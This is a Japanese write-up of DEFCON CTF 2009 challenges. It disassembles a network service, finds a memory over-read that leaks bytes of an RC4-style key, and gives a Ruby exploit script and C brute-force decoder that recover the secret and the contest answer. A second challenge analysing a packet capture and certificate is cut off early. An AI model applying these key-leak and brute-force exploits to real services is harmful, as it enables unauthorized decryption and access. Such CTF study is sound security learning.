.text:080498E8    mov     dword ptr [esp+8], 5
.text:080498F0    mov     [esp+4], eax
.text:080498F4    mov     eax, [ebp+fd]
.text:080498F7    mov     [esp], eax
.text:080498FA    call    _read
.text:080498FF    mov     eax, [ebp+ptr]
.text:08049902    add     eax, 34h
.text:08049905    mov     dword ptr [esp+4], 5
.text:0804990D    mov     [esp], eax
.text:08049910    call    sub_8049350
.text:08049915    mov     dword ptr [esp+8], 0
.text:0804991D    mov     dword ptr [esp+4], offset aWhatIsYourName ; "What is your name? "
.text:08049925    mov     eax, [ebp+arg_0]
.text:08049928    mov     [esp], eax
.text:0804992B    call    str_send
.text:08049930

3Ch確保した場合、34h番目以降に5バイトの乱数を置く
途中に呼び出されている関数sub_8049350は乱数からテーブルを生成するコード

.text:08049350 sub_8049350 proc near
.text:08049350
.text:08049350 var_8 = dword ptr -8
.text:08049350 var_1 = byte ptr -1
.text:08049350 arg_0 = dword ptr  8
.text:08049350 arg_4 = dword ptr  0Ch
.text:08049350
.text:08049350    push    ebp
.text:08049351    mov     ebp, esp
.text:08049353    sub     esp, 10h
.text:08049356    mov     ds:byte_804AEE0, 0
.text:0804935D    mov     [ebp+var_8], 0
.text:08049364    jmp     short loc_8049376
###########################################################
################## ds:byte_804AEE0 = 0;
################## var_8 = 0;
################## goto loc_8049376;
###########################################################
.text:08049366
.text:08049366 loc_8049366:
.text:08049366    mov     eax, [ebp+var_8]
.text:08049369    mov     edx, [ebp+var_8]
.text:0804936C    mov     ds:byte_804AF00[eax], dl
.text:08049372    add     [ebp+var_8], 1
###########################################################
################## ds:byte_804AF00[var_8] = var_8;
################## var_8++;
###########################################################
.text:08049376
.text:08049376 loc_8049376:
.text:08049376    cmp     [ebp+var_8], 0FFh
.text:0804937D    jbe     short loc_8049366
.text:0804937F    mov     [ebp+var_8], 0
.text:08049386    jmp     short loc_80493F6
###########################################################
################## if(var_8 <= 0xFF)
##################     goto loc_8049366;
################## var_8 = 0;
################## goto loc_80493F6;
###########################################################
.text:08049388
.text:08049388 loc_8049388:
.text:08049388    mov     eax, [ebp+var_8]
.text:0804938B    movzx   ecx, ds:byte_804AF00[eax]
.text:08049392    mov     eax, [ebp+var_8]
.text:08049395    mov     edx, 0
.text:0804939A    div     [ebp+arg_4]
.text:0804939D    mov     eax, edx
.text:0804939F    add     eax, [ebp+arg_0]
.text:080493A2    movzx   eax, byte ptr [eax]
.text:080493A5    lea     edx, [ecx+eax]
.text:080493A8    movzx   eax, ds:byte_804AEE0
.text:080493AF    lea     eax, [edx+eax]
.text:080493B2    mov     ds:byte_804AEE0, al
###########################################################
################## ecx = ds:byte_804AF00[var_8];
################## edx = ecx + arg_0[eax % arg_4];
################## ds:byte_804AEE0 += edx;
###########################################################
.text:080493B7    movzx   eax, ds:byte_804AEE0
.text:080493BE    movzx   eax, al
.text:080493C1    movzx   eax, ds:byte_804AF00[eax]
.text:080493C8    mov     [ebp+var_1], al
###########################################################
################## var_1 = ds:byte_804AF00[ds:byte_804AEE0];
###########################################################
.text:080493CB    movzx   eax, ds:byte_804AEE0
.text:080493D2    movzx   edx, al
.text:080493D5    mov     eax, [ebp+var_8]
.text:080493D8    movzx   eax, ds:byte_804AF00[eax]
.text:080493DF    mov     ds:byte_804AF00[edx], al
###########################################################
################## ds:byte_804AF00[ds:byte_804AEE0] = 
##################     ds:byte_804AF00[var_8];
###########################################################
.text:080493E5    mov     edx, [ebp+var_8]
.text:080493E8    movzx   eax, [ebp+var_1]
.text:080493EC    mov     ds:byte_804AF00[edx], al
.text:080493F2    add     [ebp+var_8], 1
###########################################################
################## ds:byte_804AF00[var_8] = var_1;
################## var_8++;
###########################################################
.text:080493F6
.text:080493F6 loc_80493F6:
.text:080493F6    cmp     [ebp+var_8], 0FFh
.text:080493FD    jbe     short loc_8049388
.text:080493FF    mov     ds:byte_804AEE0, 0
.text:08049406    mov     ds:byte_804AEC4, 0
###########################################################
################## if(var_8 <= 0xFF)
##################     goto loc_8049388;
################## ds:byte_804AEE0 = 0;
################## ds:byte_804AEC4 = 0;
###########################################################
.text:0804940D    leave
.text:0804940E    retn

以上が5バイトの乱数から256バイトのテーブルを作る処理
続いてplaintextを読む処理

.text:08049930 loc_8049930:
.text:08049930    mov     eax, [ebp+fd]
.text:08049933    mov     [esp], eax
.text:08049936    call    _close
.text:0804993B    mov     dword ptr [esp+4], offset modes ; "r"
.text:08049943    mov     dword ptr [esp], offset filename ; "plaintext"
.text:0804994A    call    _fopen
.text:0804994F    mov     [ebp+stream], eax
.text:08049952    cmp     [ebp+stream], 0
.text:08049956    jz      loc_8049A4B
.text:0804995C    mov     edx, [ebp+ptr]
.text:0804995F    mov     eax, [ebp+stream]
.text:08049962    mov     [esp+0Ch], eax
.text:08049966    mov     dword ptr [esp+8], 20h
.text:0804996E    mov     dword ptr [esp+4], 1
.text:08049976    mov     [esp], edx
.text:08049979    call    _fread
.text:0804997E    mov     edx, eax
.text:08049980    mov     eax, [ebp+ptr]
.text:08049983    mov     [eax+20h], edx
.text:08049986    mov     eax, [ebp+stream]
.text:08049989    mov     [esp], eax
.text:0804998C    call    _fclose
.text:08049991    mov     eax, [ebp+ptr]
.text:08049994    mov     eax, [eax+20h]
.text:08049997    test    eax, eax
.text:08049999    jz      loc_8049A66
.text:0804999F    mov     [ebp+var_10], 0
.text:080499A6    jmp     short loc_80499C8

plaintextを開いて20hバイト読み、それをmallocで確保した領域にコピー
さらに20h番目以降の4バイトにそのサイズ(0x20)を格納

.text:080499A8
.text:080499A8 loc_80499A8:
.text:080499A8    mov     esi, [ebp+var_10]
.text:080499AB    mov     edx, [ebp+var_10]
.text:080499AE    mov     eax, [ebp+ptr]
.text:080499B1    movzx   ebx, byte ptr [eax+edx]
.text:080499B5    call    sub_8049410
.text:080499BA    mov     edx, ebx
.text:080499BC    xor     edx, eax
.text:080499BE    mov     eax, [ebp+ptr]
.text:080499C1    mov     [eax+esi], dl
.text:080499C4    add     [ebp+var_10], 1
.text:080499C8
.text:080499C8 loc_80499C8:
.text:080499C8    mov     eax, [ebp+var_10]
.text:080499CB    mov     edx, [ebp+ptr]
.text:080499CE    mov     edx, [edx+20h]
.text:080499D1    cmp     eax, edx
.text:080499D3    jb      short loc_80499A8

読み込んだplaintextのデータをエンコード(xor)する
途中で呼び出されているsub_8049410のコードは以下

.text:08049410 sub_8049410 proc near
.text:08049410
.text:08049410 var_1 = byte ptr -1
.text:08049410
.text:08049410    push    ebp
.text:08049411    mov     ebp, esp
.text:08049413    sub     esp, 10h
.text:08049416    movzx   eax, ds:byte_804AEC4
.text:0804941D    add     eax, 1
.text:08049420    mov     ds:byte_804AEC4, al
###########################################################
################## byte_804AEC4++;
###########################################################
.text:08049425    movzx   eax, ds:byte_804AEC4
.text:0804942C    movzx   eax, al
.text:0804942F    movzx   edx, ds:byte_804AF00[eax]
.text:08049436    movzx   eax, ds:byte_804AEE0
.text:0804943D    lea     eax, [edx+eax]
.text:08049440    mov     ds:byte_804AEE0, al
###########################################################
################## edx = ds:byte_804AF00[ds:byte_804AEC4];
################## eax = ds:byte_804AEE0;
################## ds:byte_804AEE0 = edx + eax;
###########################################################
.text:08049445    movzx   eax, ds:byte_804AEE0
.text:0804944C    movzx   eax, al
.text:0804944F    movzx   eax, ds:byte_804AF00[eax]
.text:08049456    mov     [ebp+var_1], al
###########################################################
################## var_1 = ds:byte_804AF00[ds:byte_804AEE0];
###########################################################
.text:08049459    movzx   eax, ds:byte_804AEE0
.text:08049460    movzx   edx, al
.text:08049463    movzx   eax, ds:byte_804AEC4
.text:0804946A    movzx   eax, al
.text:0804946D    movzx   eax, ds:byte_804AF00[eax]
.text:08049474    mov     ds:byte_804AF00[edx], al
###########################################################
################## edx = ds:byte_804AEE0;
################## eax = ds:byte_804AEC4;
################## ds:byte_804AF00[edx] = ds:byte_804AF00[eax];
###########################################################
.text:0804947A    movzx   eax, ds:byte_804AEC4
.text:08049481    movzx   edx, al
.text:08049484    movzx   eax, [ebp+var_1]
.text:08049488    mov     ds:byte_804AF00[edx], al
###########################################################
################## ds:byte_804AF00[ds:byte_804AEC4] = var_1;
###########################################################
.text:0804948E    movzx   eax, ds:byte_804AEE0
.text:08049495    movzx   eax, al
.text:08049498    movzx   eax, ds:byte_804AF00[eax]
.text:0804949F    add     [ebp+var_1], al
###########################################################
################## var_1 += ds:byte_804AF00[ds:byte_804AEE0];
###########################################################
.text:080494A2    movzx   eax, [ebp+var_1]
.text:080494A6    movzx   eax, ds:byte_804AF00[eax]
.text:080494AD    movzx   eax, al
###########################################################
################## return ds:byte_804AF00[var_1];
###########################################################
.text:080494B0    leave
.text:080494B1    retn

次にWhat is your name?の質問に対する返答をクライアントから受信
mallocで確保した領域+24hバイト目以降に格納される
var_25の値によって処理分岐(1文字2バイト? 1文字1バイト?)

.text:080499D5    cmp     [ebp+var_25], 0
.text:080499D9    jz      short loc_8049A16
.text:080499DB    mov     eax, [ebp+ptr]
.text:080499DE    mov     [ebp+var_C], eax
.text:080499E1    mov     eax, [ebp+var_C]
.text:080499E4    add     eax, 24h
.text:080499E7    mov     dword ptr [esp+8], 10h
.text:080499EF    mov     [esp+4], eax
.text:080499F3    mov     eax, [ebp+arg_0]
.text:080499F6    mov     [esp], eax
.text:080499F9    call    recv_data2
.text:080499FE    test    eax, eax
.text:08049A00    jz      short loc_8049A66
.text:08049A02    mov     eax, [ebp+var_C]
.text:08049A05    mov     [esp+4], eax
.text:08049A09    mov     eax, [ebp+arg_0]
.text:08049A0C    mov     [esp], eax
.text:08049A0F    call    data_send3
.text:08049A14    jmp     short loc_8049A66
.text:08049A16
.text:08049A16 loc_8049A16:
.text:08049A16    mov     eax, [ebp+ptr]
.text:08049A19    add     eax, 24h
.text:08049A1C    mov     dword ptr [esp+8], 10h
.text:08049A24    mov     [esp+4], eax
.text:08049A28    mov     eax, [ebp+arg_0]
.text:08049A2B    mov     [esp], eax
.text:08049A2E    call    recv_data3
.text:08049A33    test    eax, eax
.text:08049A35    jz      short loc_8049A66
.text:08049A37    mov     eax, [ebp+ptr]
.text:08049A3A    mov     [esp+4], eax
.text:08049A3E    mov     eax, [ebp+arg_0]
.text:08049A41    mov     [esp], eax
.text:08049A44    call    data_send2
.text:08049A49    jmp     short loc_8049A66
.text:08049A4B
.text:08049A4B loc_8049A4B:
.text:08049A4B    mov     dword ptr [esp+8], 0
.text:08049A53    mov     dword ptr [esp+4], offset aOops ; "oops!\n"
.text:08049A5B    mov     eax, [ebp+arg_0]
.text:08049A5E    mov     [esp], eax
.text:08049A61    call    str_send
.text:08049A66
.text:08049A66 loc_8049A66:
.text:08049A66    mov     eax, [ebp+ptr]
.text:08049A69    mov     [esp], eax
.text:08049A6C    call    _free
.text:08049A71    mov     [ebp+var_3C], 0
.text:08049A78
.text:08049A78 loc_8049A78:
.text:08049A78    mov     eax, [ebp+var_3C]
.text:08049A7B    add     esp, 50h
.text:08049A7E    pop     ebx
.text:08049A7F    pop     esi
.text:08049A80    pop     ebp
.text:08049A81    retn

以上からmallocで確保したメモリのメモリマップは、
3Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-33h -> クライアントが入力した文字列
34h-38h -> 5バイトの乱数
4Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-43h -> クライアントが入力した文字列
44h-48h -> 5バイトの乱数
となる
またエンコードの処理フローは

  • 5バイトの乱数から256バイトのテーブルを作成
  • テーブルを使用してplaintext内の0x20バイトのデータをxorする
  • エンコードされた(xorされた)データをクライアントへ送信

となる
plaintext内の0x20バイトデータはxorされているだけである
5バイトの乱数さえ分かれば、同じテーブルが作成できるため
同様にデコードデータをxorすることでplaintext内のデータが復元できる
つまり5バイトデータのブルートフォースアタックである
以上のコードをC言語にし、デコーダを作成する

// decode.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

unsigned char byte_804AEC4;
unsigned char byte_804AEE0;
unsigned char byte_804AF00[256];

int sub_8049350(char *val, int len)
{
    int i;
    unsigned char var_1;
    byte_804AEE0 = 0;
    for(i=0; i < 256; i++)
        byte_804AF00[i] = i;
    for(i=0; i < 256; i++){
        byte_804AEE0 = (byte_804AEE0 + byte_804AF00[i] + val[i % len]) & 0xFF;
        var_1 = byte_804AF00[byte_804AEE0];
        byte_804AF00[byte_804AEE0] = byte_804AF00[i];
        byte_804AF00[i] = var_1;
    }
    byte_804AEE0 = 0;
    byte_804AEC4 = 0;
    return 0;
}

unsigned char sub_8049410(void)
{
    unsigned char var_1;
    byte_804AEC4++;
    byte_804AEE0 = (byte_804AEE0 + byte_804AF00[byte_804AEC4]) & 0xFF;
    var_1 = byte_804AF00[byte_804AEE0];
    byte_804AF00[byte_804AEE0] = byte_804AF00[byte_804AEC4];
    byte_804AF00[byte_804AEC4] = var_1;
    var_1 += byte_804AF00[byte_804AEE0];
    return byte_804AF00[var_1];
}

int loc_80499C8(unsigned char *p, int len)
{
    int var_10;
    for(var_10=0; var_10 < len; var_10++){
        p[var_10] = (p[var_10]  ^ sub_8049410()) & 0xFF;
        if(isascii((int)p[var_10]) == 0)
            return 1;
    }
    return 0;
}

int inc(unsigned char *key)
{
    if(key[0] != 0xFF){ key[0]++; return 0; }else{ key[0] = 0; }
    if(key[1] != 0xFF){ key[1]++; return 0; }else{ key[1] = 0; }
    if(key[2] != 0xFF){ key[2]++; return 0; }else{ key[2] = 0; }
    if(key[3] != 0xFF){ key[3]++; return 0; }else{ key[3] = 0; }
    if(key[4] != 0xFF){ key[4]++; return 0; }else{ key[4] = 0; }
    return 1;
}

int main(void)
{
    unsigned char key[5] = {
        0x00, 0x00, 0x00, 0x00, 0x00, 
    };

    unsigned char temp[0x20+1];
    unsigned char code[0x20] = {
        0xa1, 0xdd, 0x32, 0xdc, 0x47, 0x1d, 0x11, 0xd4, 
        0x2a, 0x5f, 0x15, 0xd1, 0x6e, 0x29, 0x7a, 0xe7, 
        0xc4, 0xda, 0x2e, 0xd2, 0x72, 0x3d, 0x77, 0x08, 
        0x82, 0xed, 0xad, 0xe4, 0x73, 0xc8, 0x24, 0x2a, 
    };
    
    do{
        sub_8049350(key, 5);
        memcpy(temp, code, 0x20);
        temp[0x20] = 0x00;
        if(loc_80499C8(temp, 0x20) == 0)
            printf("%s\n", (char *)temp);
    }while(inc(key) == 0);
    
    return 0;
}

plaintext内のデータはすべて文字列だと仮定し
0x20バイトすべてがisasciiならばデコード成功と定義して
0x00 0x00 0x00 0x00 0x00 から 0xFF 0xFF 0xFF 0xFF 0xFF までを
ブルートフォースする
これを実行すれば、plaintext内のデータが得られるはずだが…

$ gcc decode.c -o decode
$ ./decode
(1時間待っても応答なし)

5バイトはどうやらブルートフォースするには長すぎるようだ…。
ここでもう一度実行結果を見ると…

$ nc localhost 7852
Password: chickenfingers
What is your name? test
Welcome test            ::(←謎のデータ)
Your challenge is to decode the following hex encoded string:
a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a
Good luck!

"Welcome ユーザー名"の後に謎のデータを受け取っている
この部分をIDAProで解析すると…

// malloc(3Ch)版
.text:080495FE    mov     dword ptr [esp+4], offset s ; "Welcome "
.text:08049606    mov     eax, [ebp+fd]
.text:08049609    mov     [esp], eax
.text:0804960C    call    str_send
.text:08049611    mov     eax, [ebp+arg_4]
.text:08049614    add     eax, 24h
.text:08049617    mov     dword ptr [esp+8], 11h
.text:0804961F    mov     [esp+4], eax
.text:08049623    mov     eax, [ebp+fd]
.text:08049626    mov     [esp], eax
.text:08049629    call    data_send
// malloc(4Ch)版
.text:08049706    mov     dword ptr [esp+4], offset s ; "Welcome "
.text:0804970E    mov     eax, [ebp+fd]
.text:08049711    mov     [esp], eax
.text:08049714    call    unicode_send
.text:08049719    mov     eax, [ebp+arg_4]
.text:0804971C    add     eax, 24h
.text:0804971F    mov     dword ptr [esp+8], 22h
.text:08049727    mov     [esp+4], eax
.text:0804972B    mov     eax, [ebp+fd]
.text:0804972E    mov     [esp], eax
.text:08049731    call    data_send

mallocで確保したメモリのメモリマップは、
3Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-33h -> クライアントが入力した文字列
34h-38h -> 5バイトの乱数
4Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-43h -> クライアントが入力した文字列
44h-48h -> 5バイトの乱数
と、ユーザー名用に確保するのは10h or 20hであるにも関わらず
3Chの場合は0x11バイト、4Chの場合は0x22バイトをクライアントへ送信している
つまり、クライアントが入力した文字列の次のデータ列、
つまり、5バイトの乱数の先頭1バイト or 2バイトがクライアントへ送信される
mallocするサイズ4Chか3Chかはvar_29の値で決まるため、
"chickenfingers"入力時にさらに1文字追記すれば操作可能
"A"は0x41であるため最下位ビットがON、"B"は0x42であるため最下位ビットがOFF

$ cat > test.rb
#!/usr/bin/ruby

require "socket"

begin
    sock = TCPSocket.open(ARGV[0], 7852)
rescue
    puts "TCPSocket.open failed: #$!\n"
else
    pass  = "chickenfingers" + ARGV[1]
    uname = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

    print sock.sysread 1024
    sock.write(pass + "\x0a")
    print pass + "\n"
    sleep 1
    print sock.sysread 1024
    sock.syswrite(uname)
    print uname + "\n"
    sleep 1
    print sock.gets
    print sock.gets
    print sock.gets
    sock.close()
end
$ ruby test.rb localhost A > 4Ch.dump
$ ruby test.rb localhost B > 3Ch.dump

まずは4Chの方を調査

$ hexdump -C 4Ch.dump
00000000  50 61 73 73 77 6f 72 64  3a 20 63 68 69 63 6b 65  |Password: chicke|
00000010  6e 66 69 6e 67 65 72 73  41 0a 00 57 00 68 00 61  |nfingersA..W.h.a|
00000020  00 74 00 20 00 69 00 73  00 20 00 79 00 6f 00 75  |.t. .i.s. .y.o.u|
00000030  00 72 00 20 00 6e 00 61  00 6d 00 65 00 3f 00 20  |.r. .n.a.m.e.?. |
00000040  41 41 41 41 42 42 42 42  43 43 43 43 44 44 44 44  |AAAABBBBCCCCDDDD|
00000050  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000060  0a 00 57 00 65 00 6c 00  63 00 6f 00 6d 00 65 00  |..W.e.l.c.o.m.e.|
00000070  20 41 41 41 41 42 42 42  42 43 43 43 43 44 44 44  | AAAABBBBCCCCDDD|
00000080  44 45 45 45 45 46 46 46  46 47 47 47 47 48 48 48  |DEEEEFFFFGGGGHHH|
00000090  48[a2 4b]00 3a 00 0a 00  59 00 6f 00 75 00 72 00  |H.K.:...Y.o.u.r.|
000000a0  20 00 63 00 68 00 61 00  6c 00 6c 00 65 00 6e 00  | .c.h.a.l.l.e.n.|
000000b0  67 00 65 00 20 00 69 00  73 00 20 00 74 00 6f 00  |g.e. .i.s. .t.o.|
000000c0  20 00 64 00 65 00 63 00  6f 00 64 00 65 00 20 00  | .d.e.c.o.d.e. .|
000000d0  74 00 68 00 65 00 20 00  66 00 6f 00 6c 00 6c 00  |t.h.e. .f.o.l.l.|
000000e0  6f 00 77 00 69 00 6e 00  67 00 20 00 68 00 65 00  |o.w.i.n.g. .h.e.|
000000f0  78 00 20 00 65 00 6e 00  63 00 6f 00 64 00 65 00  |x. .e.n.c.o.d.e.|
00000100  64 00 20 00 73 00 74 00  72 00 69 00 6e 00 67 00  |d. .s.t.r.i.n.g.|
00000110  3a 00 0a 00 30 00 62 00  35 00 36 00 38 00 38 00  |:...0.b.5.6.8.8.|
00000120  31 00 31 00 36 00 31 00  62 00 33 00 35 00 37 00  |1.1.6.1.b.3.5.7.|
00000130  34 00 30 00 38 00 37 00  37 00 31 00 31 00 32 00  |4.0.8.7.7.1.1.2.|
00000140  36 00 65 00 36 00 30 00  34 00 36 00 62 00 36 00  |6.e.6.0.4.6.b.6.|
00000150  34 00 65 00 64 00 35 00  66 00 64 00 37 00 37 00  |4.e.d.5.f.d.7.7.|
00000160  66 00 33 00 34 00 32 00  62 00 32 00 33 00 33 00  |f.3.4.2.b.2.3.3.|
00000170  61 00 61 00 61 00 38 00  32 00 61 00 61 00 39 00  |a.a.a.8.2.a.a.9.|
00000180  36 00 38 00 63 00 65 00  65 00 34 00 31 00 37 00  |6.8.c.e.e.4.1.7.|
00000190  63 00 65 00 0a                                    |c.e..|
00000195
$ strings -el 4Ch.dump
Welcome
Your challenge is to decode the following hex encoded string:
0b56881161b357408771126e6046b64ed5fd77f342b233aaa82aa968cee417ce

続いて3Chの方を調査

$ hexdump -C 3Ch.dump
00000000  50 61 73 73 77 6f 72 64  3a 20 63 68 69 63 6b 65  |Password: chicke|
00000010  6e 66 69 6e 67 65 72 73  42 0a 57 68 61 74 20 69  |nfingersB.What i|
00000020  73 20 79 6f 75 72 20 6e  61 6d 65 3f 20 41 41 41  |s your name? AAA|
00000030  41 42 42 42 42 43 43 43  43 44 44 44 44 45 45 45  |ABBBBCCCCDDDDEEE|
00000040  45 46 46 46 46 47 47 47  47 48 48 48 48 0a 57 65  |EFFFFGGGGHHHH.We|
00000050  6c 63 6f 6d 65 20 41 41  41 41 42 42 42 42 43 43  |lcome AAAABBBBCC|
00000060  43 43 44 44 44 44[78]3a  0a 59 6f 75 72 20 63 68  |CCDDDDx:.Your ch|
00000070  61 6c 6c 65 6e 67 65 20  69 73 20 74 6f 20 64 65  |allenge is to de|
00000080  63 6f 64 65 20 74 68 65  20 66 6f 6c 6c 6f 77 69  |code the followi|
00000090  6e 67 20 68 65 78 20 65  6e 63 6f 64 65 64 20 73  |ng hex encoded s|
000000a0  74 72 69 6e 67 3a 0a 62  34 33 66 62 64 31 30 63  |tring:.b43fbd10c|
000000b0  38 35 61 35 32 62 36 34  31 31 62 37 66 62 63 35  |85a52b6411b7fbc5|
000000c0  31 31 36 37 38 38 33 30  63 37 63 63 39 64 66 66  |11678830c7cc9dff|
000000d0  31 31 30 31 36 32 39 62  31 35 66 30 65 32 38 37  |1101629b15f0e287|
000000e0  32 65 61 64 36 32 63 0a                           |2ead62c.|
000000e8
$ strings 3Ch.dump
Password: chickenfingersB
What is your name? AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
Welcome AAAABBBBCCCCDDDDx:
Your challenge is to decode the following hex encoded string:
b43fbd10c85a52b6411b7fbc511678830c7cc9dff1101629b15f0e2872ead62c

それぞれ2バイト or 1バイトの乱数が出力されている
当然2バイトの方が楽なので4Ch版を使って再度ブルートフォースを行う
4Ch版の乱数の上位2バイトは0xa2, 0x4b
エンコードされたデータは
0b56881161b357408771126e6046b64ed5fd77f342b233aaa82aa968cee417ce
これを利用してdecode.cを改良する

cat > decode.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

unsigned char byte_804AEC4;
unsigned char byte_804AEE0;
unsigned char byte_804AF00[256];

int sub_8049350(char *val, int len)
{
    int i;
    unsigned char var_1;
    byte_804AEE0 = 0;
    for(i=0; i < 256; i++)
        byte_804AF00[i] = i;
    for(i=0; i < 256; i++){
        byte_804AEE0 = (byte_804AEE0 + byte_804AF00[i] + val[i % len]) & 0xFF;
        var_1 = byte_804AF00[byte_804AEE0];
        byte_804AF00[byte_804AEE0] = byte_804AF00[i];
        byte_804AF00[i] = var_1;
    }
    byte_804AEE0 = 0;
    byte_804AEC4 = 0;
    return 0;
}

unsigned char sub_8049410(void)
{
    unsigned char var_1;
    byte_804AEC4++;
    byte_804AEE0 = (byte_804AEE0 + byte_804AF00[byte_804AEC4]) & 0xFF;
    var_1 = byte_804AF00[byte_804AEE0];
    byte_804AF00[byte_804AEE0] = byte_804AF00[byte_804AEC4];
    byte_804AF00[byte_804AEC4] = var_1;
    var_1 += byte_804AF00[byte_804AEE0];
    return byte_804AF00[var_1];
}

int loc_80499C8(unsigned char *p, int len)
{
    int var_10;
    for(var_10=0; var_10 < len; var_10++){
        p[var_10] = (p[var_10]  ^ sub_8049410()) & 0xFF;
        if(isascii((int)p[var_10]) == 0)
            return 1;
    }
    return 0;
}

int inc(unsigned char *key)
{
    //if(key[0] != 0xFF){ key[0]++; return 0; }else{ key[0] = 0; }
    //if(key[1] != 0xFF){ key[1]++; return 0; }else{ key[1] = 0; }
    if(key[2] != 0xFF){ key[2]++; return 0; }else{ key[2] = 0; }
    if(key[3] != 0xFF){ key[3]++; return 0; }else{ key[3] = 0; }
    if(key[4] != 0xFF){ key[4]++; return 0; }else{ key[4] = 0; }
    return 1;
}

int main(void)
{
    unsigned char key[5] = {
        0xa2, 0x4b, 0x00, 0x00, 0x00, 
    };

    unsigned char temp[0x20+1];
    unsigned char code[0x20] = {
        0x0b, 0x56, 0x88, 0x11, 0x61, 0xb3, 0x57, 0x40, 
        0x87, 0x71, 0x12, 0x6e, 0x60, 0x46, 0xb6, 0x4e, 
        0xd5, 0xfd, 0x77, 0xf3, 0x42, 0xb2, 0x33, 0xaa, 
        0xa8, 0x2a, 0xa9, 0x68, 0xce, 0xe4, 0x17, 0xce, 
    };
    
    do{
        sub_8049350(key, 5);
        memcpy(temp, code, 0x20);
        temp[0x20] = 0x00;
        if(loc_80499C8(temp, 0x20) == 0)
            printf("%s\n", (char *)temp);
    }while(inc(key) == 0);
    
    return 0;
}
$ gcc decode.c -o decode
$ ./decode
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH

無事plaintextの中が確認できた
あとはこれをpwn11.ddtek.bizに対して行うことでパスワードが得られる
答えは"Anal leakage beats key leakage a"となる

DEFCON CTF 2009 Trivial 400

Doh, an oldie but goodie. Find password please.
http://shallweplayaga.me/trivial/105f86deaafc709c9746a33634f1dbda

まず何のファイルか確認

$ file 105f86deaafc709c9746a33634f1dbda
105f86deaafc709c9746a33634f1dbda: tcpdump capture file (little-endian)
 - version 2.4 (Ethernet, capture length 65535)

tcpdumpで取得したパケットファイル
Wiresharkhttp://www.wireshark.org/)で開くとHTTPS(SSL)通信をしているパケット
当然HTTP通信部分は暗号化されており確認できない
公開鍵(public key)をパケットファイルから取り出す
公開鍵(public key)をcert.binという名前で保存

$ hexdump -C cert.bin
00000000  30 82 03 a6 30 82 02 8e  02 09 00 cf 50 e7 6f f2  |0...0.......P.o.|
00000010  43 07 7b 30 0d 06 09 2a  86 48 86 f7 0d 01 01 05  |C.{0...*.H......|
00000020  05 00 30 81 95 31 0b 30  09 06 03 55 04 06 13 02  |..0..1.0...U....|
00000030  41 55 31 13 30 11 06 03  55 04 08 13 0a 53 6f 6d  |AU1.0...U....Som|
00000040  65 2d 53 74 61 74 65 31  2c 30 2a 06 03 55 04 0a  |e-State1,0*..U..|
00000050  13 23 44 69 75 74 69 6e  75 73 20 44 65 66 65 6e  |.#Diutinus Defen|
00000060  73 65 20 54 65 63 68 6e  6f 6c 6f 67 69 65 73 20  |se Technologies |
00000070  43 6f 72 70 2e 31 14 30  12 06 03 55 04 0b 13 0b  |Corp.1.0...U....|
00000080  49 54 20 53 65 63 75 72  69 74 79 31 0e 30 0c 06  |IT Security1.0..|
00000090  03 55 04 03 13 05 64 64  74 65 6b 31 1d 30 1b 06  |.U....ddtek1.0..|
000000a0  09 2a 86 48 86 f7 0d 01  09 01 16 0e 74 61 6c 6b  |.*.H........talk|
000000b0  40 64 64 74 65 6b 2e 62  69 7a 30 1e 17 0d 30 39  |@ddtek.biz0...09|
000000c0  30 36 30 35 31 39 35 39  35 34 5a 17 0d 31 30 30  |0605195954Z..100|
000000d0  36 30 35 31 39 35 39 35  34 5a 30 81 95 31 0b 30  |605195954Z0..1.0|
000000e0  09 06 03 55 04 06 13 02  41 55 31 13 30 11 06 03  |...U....AU1.0...|
000000f0  55 04 08 13 0a 53 6f 6d  65 2d 53 74 61 74 65 31  |U....Some-State1|
00000100  2c 30 2a 06 03 55 04 0a  13 23 44 69 75 74 69 6e  |,0*..U...#Diutin|
00000110  75 73 20 44 65 66 65 6e  73 65 20 54 65 63 68 6e  |us Defense Techn|
00000120  6f 6c 6f 67 69 65 73 20  43 6f 72 70 2e 31 14 30  |ologies Corp.1.0|
00000130  12 06 03 55 04 0b 13 0b  49 54 20 53 65 63 75 72  |...U....IT Secur|
00000140  69 74 79 31 0e 30 0c 06  03 55 04 03 13 05 64 64  |ity1.0...U....dd|
00000150  74 65 6b 31 1d 30 1b 06  09 2a 86 48 86 f7 0d 01  |tek1.0...*.H....|
00000160  09 01 16 0e 74 61 6c 6b  40 64 64 74 65 6b 2e 62  |....talk@ddtek.b|
00000170  69 7a 30 82 01 20 30 0d  06 09 2a 86 48 86 f7 0d  |iz0.. 0...*.H...|
00000180  01 01 01 05 00 03 82 01  0d 00 30 82 01 08 02 82  |..........0.....|
00000190  01 01 00 cf a2 db 24 a3  ec ea 35 73 af ce d6 f3  |......$...5s....|
000001a0  0c c7 39 2c 3e 62 62 eb  d7 d0 2b e0 68 9b 9d 84  |..9,>bb...+.h...|
000001b0  a0 ce 2e 08 60 ea d4 a5  74 bd 5f 68 65 ab 5c 9e  |....`...t._he.\.|
000001c0  a1 b2 d8 8b 12 0a 54 76  23 fe 1f 4e 2a 70 f4 2b  |......Tv#..N*p.+|
000001d0  1c d3 4d a7 de a7 cc cf  74 35 e6 70 85 21 7f 7d  |..M.....t5.p.!.}|
000001e0  af 94 39 2e 57 3d 22 c0  96 54 40 b8 72 30 7c b6  |..9.W="..T@.r0|.|
000001f0  52 6d 03 48 0a 58 35 70  97 8e 3a 68 01 3e d9 59  |Rm.H.X5p..:h.>.Y|
00000200  5a a0 95 82 14 68 fb d8  65 6d 23 52 af 21 2d 30  |Z....h..em#R.!-0|
00000210  9b 42 9e 0c 02 87 3a fc  31 29 d0 c4 a4 01 52 0f  |.B....:.1)....R.|
00000220  6b 1d 2a 66 16 a8 14 d4  5b e3 a1 a7 ed 59 9f 2d  |k.*f....[....Y.-|
